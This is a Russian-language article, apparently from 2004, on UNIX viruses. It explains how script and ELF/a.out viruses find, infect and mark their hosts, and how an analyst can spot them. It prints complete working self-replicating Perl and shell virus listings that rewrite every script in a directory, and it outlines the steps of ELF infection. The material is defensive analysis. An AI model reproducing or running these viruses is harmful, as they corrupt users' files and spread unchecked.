КулЛиб - Классная библиотека! Скачать книги бесплатно 

Вирусы в UNIX, или Гибель Титаника II [Крис Касперски] (doc) читать онлайн

Книга в формате doc! Изображения и текст могут не отображаться!


 [Настройки текста]  [Cбросить фильтры]
Вирусы в UNIX, или Гибель Титаника II
Крис Касперски
kk@sendmail.ru
"Ночью 14 апреля 1912 года принадлежавший Британии непотопляемый океанский лайнер Титаник столкнулся с айсбергом и утонул, унеся с собой жизни более пятнадцати сотен из двух тысяч двухсот пассажиров… Поскольку Титаник был непотопляем, на нем не хватило спасательных шлюпок"
Джозеф Хеллер "Вообрази себе картину"
Считается, что в UNIX-системах вирусы не живут – они там дохнут. Отчасти это действительно так, однако не стоит путать принципиальную невозможность создания вирусов с их отсутствием как таковых. В действительности же, UNIX-вирусы существуют, и на настоящий момент (начало 2004 года) их популяция насчитывает более двух десятков. Немного? Не торопитесь с выводами. "Дефицит" UNIX-вирусов носит субъективный, а не объективный характер. Просто в силу меньшей распространенности UNIX-подобных операционных систем и специфики их направленности в этом мире практически не встречается даунов и вандалов. Степень защищенности операционной системы тут не причем. Надеяться, что UNIX справится с вирусами и сама, несколько наивно и, чтобы не разделить судьбу Титаника, держите защитные средства всегда под рукой, тщательно проверяя каждый запускаемый файл на предмет наличия заразы. О том, как это сделать, и рассказывает настоящая статья.
Введение
Исторически сложилось так, что первым нашумевшим вирусом стал Червь Морриса, запущенный им в Сеть 2 ноября 1988 года и поражающий компьютеры, оснащенные 4 BSD UNIX. Задолго до этого, в ноябре 1983 г., доктор Фредерик Коэн (Dr. Frederick Cohen), доказал возможность существования саморазмножающихся программ в защищенных операционных системах, продемонстрировав несколько практических реализаций для компьютеров типа VAX, управляемых операционной системой UNIX. Считается, что именно он впервые употребил термин "вирус".
На самом деле, между этими двумя событиями нет ничего общего. Вирус Морриса распространялся через дыры в стандартном программном обеспечении (которые, кстати говоря, долгое время оставались незакрытыми), в то время как Коэн рассматривал проблему саморазмножающихся программ в идеализированной операционной системе без каких-либо дефектов в системе безопасности. Наличие дыр просто увеличило масштабы эпидемии и сделало размножение вируса практически неконтролируемым.
А теперь перенесемся в наши дни. Популярность UNIX-подобных систем стремительно растет и интерес к ним со стороны вирусописателей все увеличивается. Квалификация системных администраторов (пользователей персональных компьютеров и рабочих станций), напротив, неуклонно падает. Все это создает благоприятную среду для воспроизводства и размножения вирусов, и процесс их разработки в любой момент может принять лавинообразный характер, – стоит только соответствующим технологиям попасть в массы. Готово ли UNIX-сообщество противостоять этому? Нет! Судя по духу, витающему в телеконференциях, и общему настроению администраторов UNIX считается непотопляемой системой и вирусная угроза воспринимается крайне скептически.
Между тем, качество тестирования программного обеспечения (неважно ‑ распространяемого в открытых исходных текстах или нет) достаточно невелико и, по меткому выражению одного из хакеров, один-единственный SendMail содержит больше дыр, чем все Windows-приложения вместе взятые. Большое количество различных дистрибьютивов UNIX-систем многократно снижает влияние каждой конкретной дырки, ограничивая ареал обитания вирусов сравнительно небольшим количеством машин, однако в условиях всеобщей глобализации и высокоскоростных Интернет-каналов даже чрезвычайно избирательный вирус способен поразить тысячи компьютеров за считанные дни или даже часы!
Распространению вирусов невероятно способствует тот факт, что в подавляющем большинстве случаев система конфигурируется с довольно демократичным уровнем доступа. Иногда это происходит по незнанию и/или небрежности системных администраторов, иногда по "производственной" необходимости. Если на машине постоянно обновляется большое количество программного обеспечения (в том числе и создаваемого собственными силами), привилегии на модификацию исполняемых файлов становятся просто необходимы, в противном случае процесс общения с компьютером из радости рискует превратиться в мучение.
Что бы там не говорили фанатики UNIX, но вирусы размножаются и на этой платформе. Отмахиваться от этой проблемы – означает уподобиться страусу. Вы хотите быть страусами? Я думаю – нет!
Условия, необходимые для функционирования вирусов
Памятуя о том, что общепринятого определения "компьютерных вирусов" не существует, условимся обозначать этим термином все программы, способные к скрытому размножению. Последнее может быть как самостоятельным (поражение происходит без каких-либо действий со стороны пользователя: достаточно просто войти в сеть), так и нет (вирус пробуждается только после запуска инфицированной программы).
Сформулируем минимум требований, "предъявляемых" саморазмножающимися программами к окружающей среде (кстати, почему бы окружающую среду не назвать окружающим четвергом?):

a) в операционной системе имеются исполняемые объекты;
b) эти объекты возможно модифицировать и/или создавать новые;
c) происходит обмен исполняемыми объектами между различными ареалами обитания;

Под "исполняемым объектом" здесь понимается некоторая абстрактная сущность, способная управлять поведением компьютера по своему усмотрению. Конечно, это не самое удачное определение, но всякая попытка конкретизации неизбежно оборачивается потерей значимости. Например, текстовой файл в формате ASCII интерпретируется вполне определенным образом и на первый взгляд средой обитания вируса быть никак не может. Однако, если текстовой процессор содержит ошибку типа "buffer overfull", существует вполне реальная возможность внедрения в файл машинного кода с последующей передачей на него управления. А это значит, что мы не можем априори утверждать какой объект исполняемый, а какой нет.
В плане возвращения с небес теоретической экзотики на грешну землю обетованну, ограничим круг своих интересом тремя основными типами исполняемых объектов: дисковыми файлами, оперативной памятью и загрузочными секторами.
Процесс размножения вирусов в общем случае сводится к модификации исполняемых объектов с таким расчетом, чтобы хоть однажды в жизни получить управление. Операционные системы семейства UNIX по умолчанию запрещают пользователям модифицировать исполняемые файлы, предоставляя эту привилегию лишь root'у. Это чрезвычайно затрудняет размножение вирусов, но отнюдь не делает его невозможным! Во-первых, далеко не все пользователи UNIX осознают опасность регистрации с правами root'a, злоупотребляя ей безо всякой необходимости. Во-вторых, некоторые приложения только под root'ом и работают, причем создать виртуального пользователя, изолированного от всех остальных файлов системы, в некоторых случаях просто не получается. В-третьих, наличие дыр в программном обеспечении позволяет вирусу действовать в обход установленных ограничений.
Тем более, что помимо собственно самих исполняемых файлов в UNIX-системах имеются и чрезвычайно широко используются интерпретируемые файлы (далее по тексту просто скрипты). Причем, если в мире Windows командные файлы играют сугубо вспомогательную роль, то всякий уважающий себя UNIX-пользователь любое мало-мальски часто выполняемое действие загоняет в отдельный скрипт, после чего забывает о нем напрочь. На скриптах держится не только командная строка, но и программы генерации отчетов, интерактивные web-странички, многочисленные управленческие приложения и т. д. Модификация файлов скрпитов, как правило, не требует никаких особенных прав, и потому они оказываются вполне перспективной кандидатурой для заражения. Также вирусы могут поражать и исходные тексты программ, и исходные тексты операционной системы с компилятором в том числе (их модификация в большинстве случаев разрешена).
Черви могут вообще подолгу не задерживаться в одном компьютере, используя его лишь как временное пристанище для рассылки своего тела на другие машины. Однако большинство червей все же предпочитают оседлый образ жизни кочевому, внедрясь в оперативную и/или долговременную память. Для своего размножения черви обычно используют дефекты операционной системы и/или ее окружения, обеспечивающие возможность удаленного выполнения программного кода. Ряд вирусов распространяется через прикрепленные к письму файлы (в курилках именуемые аттачами от английского attachment – вложение) в надежде, что доверчивый пользователь запустит их. К счастью, UNIX-пользователи в своей массе не настолько глупы, чтобы польститься на столь очевидную заразу.
Откровенно говоря, причина низкой активности вирусов кроется отнюдь не в защищенности UNIX, но в принятой схеме распространения программного обеспечения. Обмена исполняемыми файлами между пользователи UNIX практически не происходит. Вместо этого они предпочитают скачивать требующиеся им программы с оригинального источника, зачастую в исходных текстах. Несмотря на имеющиеся прецеденты взлома web/ftp серверов и троянизации их содержимого, ни одной мало-мальски внушительной эпидемии еще не случилось, хотя локальные очаги "возгорания" все-таки были.
Агрессивная политика продвижения LINUX вероломно проталкивает эту ОС на рынок домашних и офисных ПК – т. е. в те сферы, где UNIX не только не сильна, но и попросту не нужна. Оказавшись в кругу неквалифицированных пользователей, UNIX автоматически потеряет звание свободной от вирусов системы, и опустошительные эпидемии не заставят себя ждать. Встретим мы их во всеоружии или в очередной раз дадим маху, вот в чем вопрос…
Вирусы в скриптах
Как уже отмечалось выше, скрипты выглядят достаточно привлекательной средой для обитания вирусов и вот почему:

• в мире UNIX скрипты вездесущи;
• модификация большинства файлов скриптов разрешена;
• скрипты зачастую состоят из сотен строк кода, в которых очень легко затеряться;
• скрипты наиболее абстрагированы от особенностей реализации конкретного UNIX'а;
• возможности скриптов сопоставимы с языками высокого уровня (Си, Бейсик, Паскаль);
• скрпитами пользователи обмениваются более интенсивно, чем исполняемыми файлами;

Большинство администраторов крайне пренебрежительно относятся к скриптовым вирусам, считая их "ненастоящими". Между тем, системе по большому счету все равно каким именно вирусом быть атакованной – настоящим или нет. При кажущийся игрушечности, скрипт-вирусы представляют собой достаточно серьезную угрозу. Ареал их обитания практически безграничен – они успешно поражают как компьютеры с процессорами Intel Pentium, так и DEC Alpha/SUN SPARС. Они внедряются в любое возможное место (конец/начало/середину) заражаемого файла. При желании они могут оставаться резидентно в памяти, поражая файлы в фоновом режиме. Ряд скрипт-вирусов используют те или иные Stealth-технологии, скрывая факт своего присутствия в системе. Гений инженерной мысли вирусописателей уже освоил полиморфизм, уравняв тем самым скрипт-вирусы в правах с вирусами, поражающими двоичные файлы.
Каждый скрпит, полученный извне, перед установкой в систему должен быть тщательным образом проанализирован на предмет присутствия заразы. Ситуация усугубляется тем, что скрипты, в отличие от двоичных файлов, представляют собой plain-текст, начисто лишенный внутренней структуры, а потому при его заражении никаких характерных изменений не происходит. Единственное, что вирус не может подделать – это стиль оформления листинга. Почерк каждого программиста строго индивидуален. Одни используют табуляцию, другие – предпочитают выравнивать строки посредством пробелов. Одни разворачивают конструкции if – else на весь экран, другие – умещают их в одну строку. Одни дают всем переменным осмысленные имена, другие – используют одно-двух символьную абракадабру в стиле "A", "X", "FN" и т. д. Даже беглый просмотр зараженного файла позволяет обнаружить инородные вставки (конечно, при том условии, что вирус не переформатирует поражаемый объект).

#!/usr/bin/perl #PerlDemo
open(File,$0); @Virus=; @Virus=@Virus[0...6]; close(File);
foreach $FileName (<*>) { if ((-r $FileName) && (-w $FileName) && (-f $FileName)) {
open(File, "$FileName"); @Temp=; close(File); if ((@Temp[1] =~ "PerlDemo") or (@Temp[2] =~ "PerlDemo"))
{ if ((@Temp[0] =~ "perl") or (@Temp[1] =~ "perl")) { open(File, ">$FileName"); print File @Virus;
print File @Temp; close (File); } } } }
Листинг 1 пример вируса, обнаруживающего себя по стилю
Дальше. Грамотно спроектированный вирус поражает только файлы "своего" типа, в противном случае он быстро приведет систему к краху, демаскируя себя и парализуя дальнейшее распространение. Поскольку в мире UNIX файлам не принято давать расширения, задача поиска подходящих жертв существенно осложняется, и вирусу приходится явно перебирать все файлы один за одним, определяя их тип вручную.
Существует по меньшей мере две методики такого определения: отождествление командного интерпретатора и эвристический анализ. Начнем с первого из них. Если в начале файла стоит магическая последовательность "#!", то остаток строки содержит путь к программе, обрабатывающей данный скрипт. Для интерпретатора Борна эта строка обычно имеет вид "#!/bin/sh", а для Perl'a – "#!/usr/bin/perl". Таким образом, задача определения типа файла в общем случае сводится к чтению его первой строки и сравнению ее с одним или несколькими эталонами. Если только вирус не использовал хеш-сравнение, эталонные строки будут явно присутствовать в зараженном файле, легко обнаруживая себя тривиальным контекстным поиском (см. листинги 2, 3).
Девять из десяти скрипт-вирусов ловятся на этот незамысловатый прием, остальные же тщательно скрывают эталонные строки от посторонних глаз (например шифруют их или же используют посимвольное сравнение). Однако, по любому, перед сравнением строки с эталоном вирус должен ее считать. В командных файлах для этой цели обычно используются команды greep или head. Конечно, их наличие в файле еще не свидетельствует о зараженности последнего, однако позволяет локализовать жизненно-важные центры вируса, ответственные за определения типа файла, что значительно ускоряет его анализ. В Perl-скриптах чтение файла чаще всего осуществляется через оператор "< >", реже используются функции read/readline/getc. Тот факт, что практически ни одна мало-мальски серьезная Perl-программа не обходится без файлового ввода/вывода, чрезвычайно затрудняет выявление вирусного кода, особенно если чтение файла происходит в одной ветке программы, а определение его типа – совсем в другой. Это затрудняет автоматизированный анализ, но еще не делает его невозможным!
Эвристические алгоритмы поиска жертвы состоят в выделении уникальных последовательностей, присущих файлам данного типа и не встречающихся ни в каких других. Так, наличие последовательности "if [" с вероятностью близкой к единице указывает на командный скрипт. Некоторые вирусы отождествляют командные файлы по строке "Bourne", которая присутствует в некоторых, хотя и далеко не всех скриптах. Естественно, никаких универсальных приемом распознавания эвристических алгоритмов не существует (на то они и эвристические алгоритмы).
Во избежание многократного инфицирования файла-носителя, вирусы должны уметь распознавать факт своего присутствия в нем. Наиболее очевидный (и популярный!) алгоритм сводится к внедрению специальной ключевой метки (вроде "это я – Вася"), представляющей собой уникальную последовательность команд, так сказать, сигнатуру вируса или же просто замысловатый комментарий. Строго говоря, гарантированная уникальность вирусам совершенно не нужна. Достаточно, чтобы ключевая метка отсутствовала более чем в половине неинфицированных файлов. Поиск ключевой метки может осуществляться как командами find/greep, так и построченным чтением из файла с последующим сличением добытых строк с эталоном. Скрипты командных интерпретаторов используют для этой цели команды head и tail, применяемые совместно с оператором "=", ну а Perl-вирусы все больше тяготеют к регулярным выражениям, что существенно затрудняет их выявление, т. к. без регулярных выражений не обходится практически ни одна Perl-программа.
Другой возможной зацепкой является переменная "$0", используемая вирусами для определения собственного имени. Не секрет, что интерпретируемые языки программирования не имеют никакого представления о том, каким именно образом скрипты размещаются в памяти, и при всем желании не могут "дотянуться" до них. А раз так, то единственным способом репродуцирования своего тела остается чтение исходного файла, имя которого передается в нулевом аргументе командной строки. Это достаточно характерный признак заражения исследуемого файла, ибо существует очень немного причин, по которым программа может интересоваться своим названием и путем.
Впрочем, существует (по крайней мере теоретически) и альтернативный способ размножения. Он работает по тем же принципам, что и программа, распечатывающая сама себя (в былое время без этой задачки не обходилась ни одна олимпиада по информатике). Решение сводится к формированию переменной, содержащей программный код вируса, с последующим внедрением оного в заражаемый файл. В простейшем случае для этого используется конструкция "<<", позволяющая скрыть факт внедрения программного кода в текстовую переменную (и это выгодно отличает Perl от Си). Построченная генерация кода в стиле "@Virus[0]= "\#\!\/usr\/bin\/perl"" встречается реже, т. к. слишком громоздко, непрактично и к тому же наглядно (в смысле даже при беглом просмотре листинга выдает вирус с головой).
Зашифрованные вирусы распознаются еще проще. Наиболее примитивные экземпляры содержат большое количество "шумящих" двоичных последовательностей типа "\x73\xFF\x33\x69\x02\x11…", чьим флагманом является спецификатор "\x", за которым следует ASCII-код зашифрованного символа. Более совершенные вирусы используют те или иные разновидности UUE-кодирования, благодаря чему все зашифрованные строки выглядят вполне читабельно, хотя и представляют собой бессмысленную абракадабру вроде "UsKL[aS4iJk". Учитывая, что среднеминимальная длина Perl-вирусов составляет порядка 500 байт, затеряться в теле жертвы им легко.
Теперь рассмотрим пути внедрения вируса в файл. Файлы командного интерпретатора и программы, написанные на языке Perl, представляют собой неиерархическую последовательность команд, при необходимости включающую в себя определения функций. Здесь нет ничего, хотя бы отдаленно похожего на функцию main языка Си или блок BEGIN/END языка Паскаль. Вирусный код, тупо дописанный в конец файла, с вероятностью 90% успешно получит управление и будет корректно работать. Оставшиеся 10% приходятся на случаи преждевременного выхода из программы по exit или ее принудительного завершения по . Для копирования своего тела из конца одного файла в конец другого вирусы обычно используют команду "tail", вызывая ее приблизительно так:

#!/bin/sh
echo "Hello, World!"
for F in *
do
if ["$(head -c9 $F 2>/dev/null)"="#!/bin/sh" -a "$(tail -1 $F 2>/dev/null)"!="#:-P"]
then
tail -8 $0 >> $F 2>/dev/null
fi
done
#:-P
Листинг 2 фрагмент вируса UNIX.Tail.a, дописывающего себя в конец файла (оригинальные строки файла-жертвы выделены серым)
Другие вирусы внедряются в начало файла, перехватывая все управление на себя. Некоторые из них содержат забавную ошибку, приводящую к дублированию строки "!#/bin/xxx", первая из которых принадлежит вирусу, а вторая – самой зараженной программе. Наличие двух магических последовательностей "!#" в анализируемом файле красноречиво свидетельствует о его заражении, однако подавляющее большинство вирусов обрабатывает эту ситуацию вполне корректно, копируя свое тело не с первой, а со второй строки. Типичный пример такого вируса приведен ниже:

#!/bin/sh
for F in *
do
if [ "$(head -c9 $F 2>/dev/null)" = "#!/bin/sh" ] then
head -11 $0 > tmp
cat $F >> tmp
mv tmp $F
fi
done
echo "Hello, World!"
Листинг 3 фрагмент вируса UNIX.Head.b, внедряющегося в начало файла (оригинальные строки файла-жертвы выделены серым)
Некоторые, весьма немногочисленные вирусы внедряются в середину файла, иногда перемешиваясь с его оригинальным содержимым. Естественно, для того, чтобы процесс репродуцирования не прекратился, вирус должен каким-либо образом помечать "свои" строки (например снабжать их комментарием "#MY LINE") либо же внедряться в фиксированные строки (например начиная с тринадцатой строки, каждая нечетная строка файла содержит тело вируса). Первый алгоритм слишком нагляден, второй – слишком нежизнеспособен (часть вируса может попасть в одну функцию, а часть – совсем в другую), поэтому останавливаться на этих вирусах мы не будем.
Таким образом, наиболее вирусоопасными являются начало и конец всякого файла. Их следует изучать с особой тщательностью, не забывая о том, что вирус может содержать некоторое количество "отвлекающих" команд, имитирующих ту или иную работу.
Встречаются и вирусы-спутники, вообще не "дотрагивающиеся" до оригинальных файлов, но во множестве создающие их "двойников" в остальных каталогах. Поклонники чистой командной строки, просматривающие содержимое директорий через ls могут этого и не заметить, т. к. команда ls вполне может иметь "двойника", предусмотрительно убирающего свое имя из списка отображаемых файлов.
Не стоит забывать и о том, что создателям вирусов не чуждо элементарное чувство беспечности, и откровенные наименования процедур и/или переменных в стиле "Infected", "Virus", "ZARAZA" – отнюдь не редкость.
Иногда вирусам (особенно полиморфным и зашифрованным) требуется поместить часть программного кода во временный файл, полностью или частично передав ему бразды правления. Тогда в теле скрипта появляется команда "chmod +x", присваивающая файлу атрибут исполняемого. Впрочем, не стоит ожидать, что автор вируса окажется столь ленив и наивен, что не предпримет никаких усилий для сокрытия своих намерений. Скорее всего нам встретится что-то вроде: "chmod $attr $FileName".

признак
комментарий
#!/bin/sh
"\#\!\/usr\/bin\/perl"
если расположена в не первой строке файла, скрипт скорее всего заражен, особенно если последовательность "#!" находится внутри оператора if‑then или же передается командам greep и/или find;
greep
используются для определения типа файла-жертвы и поиска отметки о зараженности (дабы ненароком не заразить повторно); к сожалению, достаточным признаком наличия вируса служить не может, ибо часто используется в "честных" программах;
find

$0
характерный признак саморазмножающейся программы (а зачем еще честному скрипту знать свой полный путь?);
head
используется для определения типа файла-жертвы и извлечения своего тела из файла-носителя из начала скрипта;
tail
используется для извлечения своего тела из конца файла-носителя;
chmod +x
если применяется к динамически создаваемому файлу, с высокой степень вероятности свидетельствует о наличии вируса (причем ключ +x может быть так или иначе замаскирован);
<<
если служит для занесения в переменную программного кода, является характерным признаком вируса (и полиморфного в том числе)
"\xAA\xBB\xCC…"
характерный признак зашифрованного вируса
"Aj#9KlRzS"

vir, virus, virii, infect…
характерный признак вируса, хотя может быть и просто шуткой
Таблица 1 сводная таблица наиболее характерных признаков наличия вируса с краткими комментариями (подробности по тексту)

#!/usr/bin/perl
#PerlDemo

open(File,$0);
@Virus=;
@Virus=@Virus[0...27];
close(File);

foreach $FileName (<*>)
{
if ((-r $FileName) && (-w $FileName) && (-f $FileName))
{
open(File, "$FileName");
@Temp=;
close(File);
if ((@Temp[1] =~ "PerlDemo") or (@Temp[2] =~ "PerlDemo"))
{
if ((@Temp[0] =~ "perl") or (@Temp[1] =~ "perl"))
{
open(File, ">$FileName");
print File @Virus;
print File @Temp;
close (File);
}
}
}
}
Листинг 4 фрагмент Perl-вируса UNIX.Demo
Эльфы в заповедном лесу
За всю историю существования UNIX было предложено множество форматов двоичных исполняемых файлов, однако к настоящему моменту в более или менее употребляемом виде сохранились лишь три из них: a.out, COFF и ELF.
Формат a.out (Assembler and link editor OUTput files) – самый простой и наиболее древний из трех перечисленных, появившийся еще во времена господства PDP-11 и VAX. Он состоит из трех сегментов: .text (сегмент кода), .data (сегмент инициализированных данных) и .bss (сегмент неинициализированных данных), ‑ двух таблиц перемещаемых элементов (по одной для сегментов кода и данных), таблицы символов, содержащей адреса экспортируемых/импортируемых функций, и таблицы строк, содержащей имена последних. К настоящему момент формат a.out считается устаревшим и практически не используется. Краткое, но вполне достаточное для его освоения руководство содержится в man'е Free BSD. Также рекомендуется изучить включаемый файл a.out.h, входящий в комплект поставки любого UNIX-компилятора.
Формат COFF (Common Object File Format) – прямой наследник a.out – представляет собой существенно усовершенствованную и доработанную версию последнего. В нем появилось множество новых секций, изменился формат заголовка (и в том числе появилось поле длины, позволяющее вирусу вклиниваться между заголовком и первой секцией файла), все секции получили возможность проецироваться по любому адресу виртуальной памяти (для вирусов, внедряющихся в начало и/или середину файла, это актуально) и т. д. Формат COFF широко распространен в мире Windows NT (PE-файлы представляют собой слегка модифицированный COFF), но в современных UNIX-системах он практически не используется, отдавая дань предпочтения формату ELF.
Формат ELF (Executable and Linkable Format, хотя не исключено, что формат сначала получил благозвучное название, под которое потом подбиралась соответствующая аббревиатура – среди UNIX-разработчиков всегда было много толкиенистов) очень похож на COFF и фактически является его разновидностью, спроектированной для обеспечения совместимости с 32- и 64- разрядными архитектурами. В настоящее время – это основной формат исполняемых файлов в системах семейства UNIX. Не то чтобы он всех сильно устраивал (та же FreeBSD сопротивлялась нашествию Эльфов, как могла, но в версии 3.0 была вынуждена объявить ELF-формат как формат используемый по умолчанию, поскольку последние версии популярного компилятора GNU C древних форматов уже не поддерживают), но ELF – это общепризнанный стандарт, с которым приходится считаться, хотим ли мы того или нет. Поэтому в настоящей статье речь главным образом пойдет о нем. Для эффективной борьбы с вирусами вы должны изучить ELF-формат во всех подробностях. Вот два хороших руководства на эту тему: http://www.ibiblio.org/pub/historic-linux/ftp-archives/sunsite.unc.edu/Nov-06-1994/GCC/ELF.doc.tar.gz ("Executable and Linkable Format – Portable Format Specification") и http://www.nai.com/common/media/vil/pdf/mvanvoers_VB_conf%202000.pdf ("Linux Viruses – ELF File Format").
Не секрет, что у операционных систем Windows NT и UNIX много общего, и механизм заражения ELF/COFF/a.out файлов с высоты птичьего полета ничем не отличается от заражения форматов семейства NewExe. Тем не менее, при всем поверхностном сходстве между ними есть и различия.
Существует по меньшей мере три принципиально различных способа заражения файлов, распространяемых в формате a.out:

• "поглощение" оригинального файла с последующей его записью в tmp и удалением после завершения выполнения (или – "ручная" загрузка файла-жертвы как вариант);
• расширение последней секции файла и дозапись своего тела в ее конец;
• сжатие части оригинального файла и внедрение своего тела на освободившееся место;

Переход на файлы формата ELF или COFF добавляет еще четыре:
• расширение кодовой секции файла и внедрение своего тела на освободившееся место;
• сдвиг кодовой секции вниз с последующей записью своего тела в ее начало;
• создание своей собственной секции в начале, середине или конце файла;
• внедрение между файлом и заголовком;

Внедрившись в файл, вирус должен перехватить на себя управление, что обычно осуществляется следующими путями:
• созданием собственного заголовка и собственного сегмента кода/данных, перекрывающего уже существующий;
• коррекцией точки входа в заголовке файла-жертвы;
• внедрением в исполняемый код файла-жертвы команды перехода на свое тело;
• модификацией таблицы импорта (в терминологии a.out – таблицы символов) для подмены функций, что особенно актуально для Stealth-вирусов.

Всем этим махинациям (кроме приема с "поглощением") очень трудно остаться незамеченными, и факт заражения в подавляющем большинстве случаев удается определить простым визуальным просмотром дизассемблерного листинга анализируемого файла. Подробнее об этом мы поговорим чуточку позже, а пока обратим свое внимание на механизмы системных вызовов, используемые вирусами для обеспечения минимально необходимого уровня жизнедеятельности.
Для нормального функционирования вирусу необходимы по меньшей мере четыре основных функции для работы с файлами (как то: открытие/закрытие/чтение/запись файла) и опционально функция поиска файлов на диске/сети. В противном случае вирус просто не сможет реализовать свои репродуктивные возможности и это уже не вирус получится, а Троянский Конь!
Существует по меньшей мере три пути для решения этой задачи:
• использовать системные функции жертвы (если они у нее, конечно, есть);
• дополнить таблицу импорта жертвы всем необходимым;
• использовать native-API операционной системы;

И последнее. Ассемблерные вирусы (а таковых среди UNIX-вирусов подавляющее большинство) разительно отличаются от откомпилированных программ нетипичным для языков высокого уровня лаконичным, но в то же время излишне прямолинейным стилем. Поскольку упаковщики исполняемых файлов в мире UNIX практически никем не используются, всякая посторонняя "нашлепка" на исполняемый файл с высокой степенью вероятности является троянской компонентой или вирусом.
Теперь рассмотрим каждый из вышеперечисленных пунктов во всех подробностях.
Заражение посредством поглощения файла
Вирусы этого типа пишутся преимущественно начинающими программистами, еще не успевшими освоить азы архитектуры операционной системы, но уже стремящиеся кому-то сильно напакостить. Алгоритм заражения в общем виде выглядит так: вирус находит жертву, убеждается, что она еще не заражена и что все необходимые права на модификацию этого файла у него присутствуют. Затем он считывает жертву в память (временный файл) и записывает себя поверх заражаемого файла. Оригинальный файл дописывается в хвост вируса как оверлей, либо же помещается в сегмент данных (см. рис. 1).
Получив управление, вирус извлекает из своего тела содержимое оригинального файла, записывает его во временный файл, присваивает ему атрибут исполняемого и запускает "излеченный" файл на выполнение, после чего удаляет с диска вновь. Поскольку подобные манипуляции редко остаются незамеченными, некоторые вирусы отваживаются на "ручную" загрузку жертвы с диска. Впрочем, процедуру для корректной загрузки ELF-файла написать нелегко и еще сложнее ее отладить, поэтому появление таких вирусов представляется достаточно маловероятным (ELF это вам не простенький a.out!)
Характерной чертой подобных вирусов является крошечный сегмент кода, за которым следует огромным сегмент данных (оверлей), представляющий собой самостоятельный исполняемый файл. Попробуйте контекстным поиском найти ELF/COFF/a.out заголовок – в зараженном файле их будет два! Только не пытайтесь дизассемблировать оверлей/сегмент данных, – осмысленного кода все равно не получиться, т. к., во-первых, для этого требуется знать точное расположение точки входа, а во-вторых, расположить хвост дизассемблируемого файла по его законным адресам. К тому же оригинальное содержимое файла может быть умышленно зашифровано вирусом, и тогда дизассемблер вернет бессодержательный мусор, в котором будет непросто разобраться. Впрочем, это не сильно затрудняет анализ. Код вируса навряд ли будет очень большим и на восстановление алгоритма шифрования (если тот действительно имеет место) не уйдет много времени.
Хуже, если вирус переносит часть оригинального файла в сегмент данных, а часть – в сегмент кода. Такой файл выглядит как обыкновенная программа за тем единственным исключением, что большая часть кодового сегмента представляет собой "мертвый код", никогда не получающий управления. Сегмент данных на первый взгляд выглядит как будто бы нормально, однако при внимательном рассмотрении обнаруживается, что все перекрестные ссылки (например ссылки на текстовые строки) смещены относительно их "родных" адресов. Как нетрудно догадаться – величина смещения и представляет собой длину вируса.
Дизассемблирование выявляет характерные для вирусов этого типа функции exec и fork, использующиеся для запуска "вылеченного" файла, функцию chmod для присвоения файлу атрибута исполняемого и т. д.


Рисунок 1 0x004 типовая схема заражения исполняемого файла путем его поглощения


Рисунок 2 0x008 пример файла, поглощенного вирусом UNIX.a.out. Крохотный, всего в триста байт, размер кодовой секции указывает на высокую вероятность заражения
Заражение посредством расширения последней секции файла
Простейший способ неразрушающего заражения файла состоит в расширении последней секции/сегмента жертвы и дозаписи своего тела в ее конец (далее по тексту просто "секции", хотя применительно к ELF-файлам это будет несколько некорректно, т. к. системный загрузчик исполняемых ELF-файлов работает исключительно с сегментами, а секции игнорирует). Строго говоря, это утверждение не совсем верно. Последней секцией файла, как правило, является секция .bss, предназначенная для хранения неинициализированных данных. Внедряться сюда можно, но бессмысленно, поскольку загрузчик не настолько глуп, чтобы тратить драгоценное процессорное время на загрузку неинициализированных данных с медленного диска. Правильнее было бы сказать "последней значимой секции", но давайте не будем придираться, это ведь не научная статья, верно?
Перед секций .bss обычно располагается секция .data, содержащая инициализированные данные. Вот она-то и становится основным объектом вирусной атаки! Натравив дизассемблер на исследуемый файл, посмотрите – в какой секции расположена точка входа. И, если этой секцией окажется секция данных (как например в случае, изображенном в листинге 5), исследуемый файл с высокой степенью вероятности заражен вирусом.
При внедрении в a.out файл вирус в общем случае должен проделать следующие действия:

• считав заголовок файла, убедиться, что это действительно a.out файл;
• увеличить поле a_data на величину, равную размеру своего тела;
• скопировать себя в конец файла;
• скорректировать содержимое поля a_entry для перехвата управления (если вирус действительно перехватывает управление таким образом);

Внедрение в ELF-файлы происходит несколько более сложным образом:
• вирус открывает файл и, считывая его заголовок, убеждается, что это действительно ELF;
• просматривая Program Header Table, вирус отыскивает сегмент, наиболее подходящий для заражения (для заражения подходит любой сегмент с атрибутом PL_LOAD; собственно говоря, остальные сегменты более или менее подходят тоже, но вирусный код в них будет смотреться несколько странно);
• найденный сегмент "распахивается" до конца файла и увеличивается на величину, равную размеру тела вируса, что осуществляется путем синхронной коррекции полей p_filez и p_memz;
• вирус дописывает себя в конец заражаемого файла;
• для перехвата управления вирус корректирует точку входа в файл (e_entry), либо же внедряет в истинную точку входа jmp на свое тело (впрочем, методика перехвата управления тема отдельного большого разговора).

Маленькое техническое замечание. Секция данных, как правило, имеет всего лишь два атрибута: атрибут чтения (Read) и атрибут записи (Write). Атрибут исполнения (Execute) у нее по умолчанию отсутствует. Означает ли это, что выполнение вирусного кода в ней окажется невозможным? Вопрос не имеет однозначного ответа. Все зависит от особенностей реализации конкретного процессора и конкретной операционной системы. Некоторые из них игнорируют отсутствие атрибута исполнения, полагая, что право исполнения кода напрямую вытекает из права чтения. Другие же возбуждают исключение, аварийно завершая выполнение зараженной программы. Для обхода этой ситуации вирусы могут присваивать секции данных атрибут Execute, выдавая тем самым себя с головой, впрочем такие экземпляры встречаются крайне редко, и подавляющее большинство вирусописателей оставляет секцию данных с атрибутами по умолчанию.
Другой немаловажный и не очевидный на первый взгляд момент. Задумайтесь, как измениться поведение зараженного файла при внедрении вируса в не-последнюю секцию .data, следом за которой расположена .bss? А никак не измениться! Несмотря на то, что последняя секция будет спроецирована совсем не по тем адресам, программный код об этом "не узнает" и продолжит обращаться к неинициализированным переменным по их прежним адресам, теперь занятых кодом вируса, который к этому моменту уже отработал и возвратил оригинальному файлу все бразды правления. При условии, что программный код спроектирован корректно и не закладывается на начальное значение неинициализированных переменных, присутствие вируса не нарушит работоспособности программы.
Однако в суровых условиях реальной жизни этот элегантный прием заражения перестает работать, поскольку среднестатистическое UNIX-приложение содержит порядка десяти различных секций всех назначений и мастей.
Взгляните, например, на строение утилиты ls, позаимствованной из следующего дистрибьютива UNIX: Red Hat 5.0:

Name Start End Align Base Type Class 32 es ss ds fs gs
.init 08000A10 08000A18 para 0001 publ CODE Y FFFF FFFF 0006 FFFF FFFF
